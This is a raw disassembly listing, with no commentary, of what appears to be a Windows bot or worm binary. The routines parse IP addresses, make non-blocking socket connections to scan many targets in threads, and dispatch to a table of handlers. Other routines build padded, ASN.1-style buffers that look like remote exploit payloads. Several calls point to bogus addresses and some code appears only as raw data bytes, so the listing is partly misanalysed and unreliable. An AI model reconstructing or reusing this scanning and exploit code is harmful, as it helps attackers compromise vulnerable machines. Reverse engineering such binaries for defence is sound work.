		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26803B2h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		call	near ptr 26E0000h
		nop


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	near ptr 26E07E8h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 26E0563h
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		nop
		call	near ptr 26E07E8h


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2273A83h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022636h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 273992E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 41E80875h, 90022635h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
